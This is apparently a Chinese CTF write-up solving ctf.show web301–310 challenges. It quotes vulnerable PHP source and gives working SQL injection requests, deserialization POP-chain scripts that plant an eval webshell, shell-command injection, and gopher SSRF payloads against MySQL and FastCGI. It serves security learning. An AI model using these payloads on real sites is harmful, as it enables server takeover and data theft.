web301 checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );session_start ();require 'conn.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];$userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp ($userpwd ,$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
在 checklogin.php
可以发现直接拼接字符串的 sql
注入,没有任何过滤。绕过后在 index.php
中版本号处找到 flag
。 payload: userid=aaaa' union select 'aaaa' %23&userpwd=aaaa
web302 这题和上题的代码链接是一样的。。。 直接给出修改了什么可还行,本来还想 diff 的。审了个寂寞。。。
1 2 if (!strcasecmp (sds_decode ($userpwd ),$row ['sds_password' ])){
这里 sds_decode 在 fun.php 里面
1 2 3 function sds_decode ($str ) { return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" ); }
按这个构造下 payload
1 2 var_dump (md5 (md5 ("bbb" .md5 (base64_encode ("sds" )))."sds" ));
POST /checklogin.php userid=aaa’ union select ‘9316b783c54ecd0059abac8d105ff4a0’ %23&userpwd=bbb
flag 位置不变
web303 checklogin.php 的 userid 增加了长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );session_start ();require 'conn.php' ;require 'fun.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];if (strlen ($username )>6 ){ die (); } $userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp (sds_decode ($userpwd ),$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
不过在 fun.php 和 sds_user.sql 中给出了弱密码提示 admin/admin
1 2 3 4 5 6 7 <?php function sds_decode ($str ) { return md5 (md5 ($str .md5 (base64_encode ("sds" )))."sds" ); } echo sds_decode ("admin" );?>
sds_user.sql
1 2 3 4 5 6 7 8 9 SET FOREIGN_KEY_CHECKS= 0 ;DROP TABLE IF EXISTS `sds_user`;CREATE TABLE `sds_user` ( `id` int (11 ) NOT NULL AUTO_INCREMENT, `sds_username` varchar (255 ) DEFAULT NULL , `sds_password` varchar (255 ) DEFAULT NULL , PRIMARY KEY (`id`) ) ENGINE= InnoDB AUTO_INCREMENT= 2 DEFAULT CHARSET= utf8; INSERT INTO `sds_user` VALUES ('1' , 'admin' , '27151b7b1ad51a38ea66b1529cde5ee4' );
使用 admin/admin 登录后,dptadd.php 中的 insert 语句为直接拼接,可以直接查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /dptadd.php HTTP/1.1 Host : 94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Length : 154Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://94aeaf90-1259-4266-8fba-9c79a73b9325.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=3pa7egrnfbseqe3mvbcr3k1cp5Connection : closedpt_name =a&dpt_address=a&dpt_build_year=2022 -06 -16 &dpt_has_cert=on &dpt_cert_number=a',sds_telephone=(payload);%23 &dpt_telephone_number=a
payloads:
1 2 3 4 select group_concat(schema_name) from information_schema.schemataselect group_concat(table_name) from information_schema.tables where table_schema= database()select group_concat(column_name) from information_schema.columns where table_name= 'sds_fl9g' select flag from sds_fl9g
flag 在数据库里
web304 提示加了个全局 waf,没看懂
1 2 3 function sds_waf ($str ) { return preg_match ('/[0-9]|[a-z]|-/i' , $str ); }
没看出和上题有什么区别,也没给源码。。。一样的方式接着打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /dptadd.php HTTP/1.1 Host : c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Length : 155Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Origin : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.showContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://c67a0749-c8b0-4298-9cf9-e78a9892089c.challenge.ctf.show/dpt.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : __e_inc=1; PHPSESSID=rapobb3n0f461d9tjujqijivb5Connection : closedpt_name =a&dpt_address=a&dpt_build_year=2022 -06 -16 &dpt_has_cert=on &dpt_cert_number=a',sds_telephone=(select flag from sds_flaag);%23 &dpt_telephone_number=a
web305 给源码喽!这次给 dptadd.php 加了个好长的 waf,应该是给注入封上了。 checklogin.php 又新增了不需要登录的反序列化,还加了个 class.php,__destruct 写文件可还行。。。 checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );session_start ();require 'conn.php' ;require 'fun.php' ;$_POST ['userid' ]=!empty ($_POST ['userid' ])?$_POST ['userid' ]:"" ;$_POST ['userpwd' ]=!empty ($_POST ['userpwd' ])?$_POST ['userpwd' ]:"" ;$username =$_POST ['userid' ];if (strlen ($username )>6 ){ die (); } $userpwd =$_POST ['userpwd' ];$sql ="select sds_password from sds_user where sds_username='" .$username ."' order by id limit 1;" ;$result =$mysqli ->query ($sql );$row =$result ->fetch_array (MYSQLI_BOTH);if ($result ->num_rows<1 ){ $_SESSION ['error' ]="1" ; header ("location:login.php" ); return ; } if (!strcasecmp (sds_decode ($userpwd ),$row ['sds_password' ])){ $_SESSION ['login' ]=1 ; $result ->free (); $mysqli ->close (); header ("location:index.php" ); return ; } $_SESSION ['error' ]="1" ;header ("location:login.php" );?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __destruct ( ) { file_put_contents ($this ->username, $this ->password); } }
于是构造 cookie 写 shell,蚁剑查数据库拿 flag。
1 2 3 4 5 6 7 8 9 10 <?php class user { public $username ; public $password ; } $a = new user ();$a ->username = "/var/www/html/sh.php" ;$a ->password = "<?php eval(\$_POST[1]); ?>" ;echo urlencode (serialize ($a ));
POST /checklogin.php Cookie: user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A20%3A%22%2Fvar%2Fwww%2Fhtml%2Fsh.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D
web306 这次去掉了 user 写文件的方法,增加了另外两个类,这里发现可以 dao 和 log 两个类配合反序列化写文件。 pop chain: $dao->_destruct()=>$log->close()=>file_put_contents()
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class user { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } } class dpt { public $name ; public $address ; public $build_year ; public $have_cert ="0" ; public $cert_num ; public $phone ; public function __construct ($n ,$a ,$b ,$h ,$c ,$p ) { $this ->name=$n ; $this ->address=$a ; $this ->build_year=$b ; $this ->have_cert=$h ; $this ->cert_num=$c ; $this ->phone=$p ; } } class log { public $title ='log.txt' ; public $info ='' ; public function loginfo ($info ) { $this ->info=$this ->info.$info ; } public function close ( ) { file_put_contents ($this ->title, $this ->info); } }
dao.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php require 'config.php' ;require 'class.php' ;class dao { private $config ; private $conn ; public function __construct ( ) { $this ->config=new config (); $this ->init (); } private function init ( ) { $this ->conn=new mysqli ($this ->config->get_mysql_host (),$this ->config->get_mysql_username (),$this ->config->get_mysql_password (),$this ->config->get_mysql_db ()); } public function __destruct ( ) { $this ->conn->close (); } public function get_user_password_by_username ($u ) { $sql ="select sds_password from sds_user where sds_username='" .$u ."' order by id limit 1;" ; $result =$this ->conn->query ($sql ); $row =$result ->fetch_array (MYSQLI_BOTH); if ($result ->num_rows>0 ){ return $row ['sds_password' ]; }else { return '' ; } } }
dao.php 引入了 class.php,所以只要找到引入了 dao.php 且有反序列化的点就好了,那就是 index.php:
1 2 3 4 5 6 7 8 9 10 11 <?php session_start ();require "conn.php" ;require "dao.php" ;$user = unserialize (base64_decode ($_COOKIE ['user' ]));if (!$user ){ header ("location:login.php" ); } ?> <!doctype html>
构造 cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class dao { public $conn ; } class log { public $title ; public $info ; } $d1 = new dao ();$l1 = new log ();$l1 ->title = "/var/www/html/sh.php" ;$l1 ->info = "<?php @eval(\$_POST[1]); ?>" ;$d1 ->conn = $l1 ;echo "user=" .urlencode (base64_encode (serialize ($d1 )));
蚁剑连接,flag 在 flag.php
web307 上道题 log->close 方法被改了名用不了了。找了一条新链子可以执行命令。 /controller/logout.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php session_start ();error_reporting (0 );require 'service/service.php' ;unset ($_SESSION ['login' ]);unset ($_SESSION ['error' ]);setcookie ('user' ,'' ,0 ,'/' );$service = unserialize (base64_decode ($_COOKIE ['service' ]));var_dump ($service );if ($service ){ $service ->clearCache (); } setcookie ('PHPSESSID' ,'' ,0 ,'/' );setcookie ('service' ,'' ,0 ,'/' );header ("location:../login.php" );?>
这里可以调用 dao->clearCache 实现命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class config { public $cache_dir = "cache/* && echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4g'|base64 -d > /var/www/html/sh.php #" ; } class dao { public $config ; function __construct ( ) { $this ->config= new config (); } } $d1 = new dao ();echo urlencode (base64_encode (serialize ($d1 )));
蚁剑连接密码 1,flag 在 flag.php。
web308 上题的方法加上了正则的限制,应该是封死了。 这题一开始是走到了可以 curl 读文件的步骤,但是因为之前没打过 ssrf gopher 就卡在这里了,找了下师傅们的 wp 才知道要 ssrf gopher 打 mysql 写 shell,学到了。 pop chain: index.php=>unserialize&&$dao->checkVersion()=>checkUpdate()=>curl_exec() SSRF
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php session_start ();error_reporting (0 );require 'controller/service/service.php' ;if (!isset ($_SESSION ['login' ])){header ("location:login.php" );} $service = unserialize (base64_decode ($_COOKIE ['service' ]));if ($service ){ $lastVersion =$service ->checkVersion (); } ?> <!doctype html>
这里 header("location:xxxx")
了但是没 return,burp 抓到还是有内容的,浏览器只能看到 302。 构造 cookie: 这里用到了工具 https://github.com/tarunkant/Gopherus 构造 gopher 的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class config { public $update_url = "gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%48%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01" ; } class dao { public $config ; function __construct ( ) { $this ->config= new config (); } } $d1 = new dao ();echo urlencode (base64_encode (serialize ($d1 )));
然后蚁剑连 shell 读 flag
web309 和上题一样打 gopher,不过提示 mysql 加了密码,还可以打 fastcgi。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class config { public $update_url = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH84%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00T%04%00%3C%3Fphp%20system%28%27tac%20/var/www/html/flaaaaaagg.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" ; } class dao { public $config ; function __construct ( ) { $this ->config= new config (); } } $d1 = new dao ();echo urlencode (base64_encode (serialize ($d1 )));
web310 前两个不通了,读 file:///etc/nginx/nginx.conf
可知 flag 路径。
1 2 3 4 5 6 7 8 9 10 server { listen 4476; server_name localhost; root /var/flag; index index.html; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }
构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class config { public $update_url = "http://localhost:4476/" ; } class dao { public $config ; function __construct ( ) { $this ->config= new config (); } } $d1 = new dao ();echo urlencode (base64_encode (serialize ($d1 )));
代码审计部分到此结束。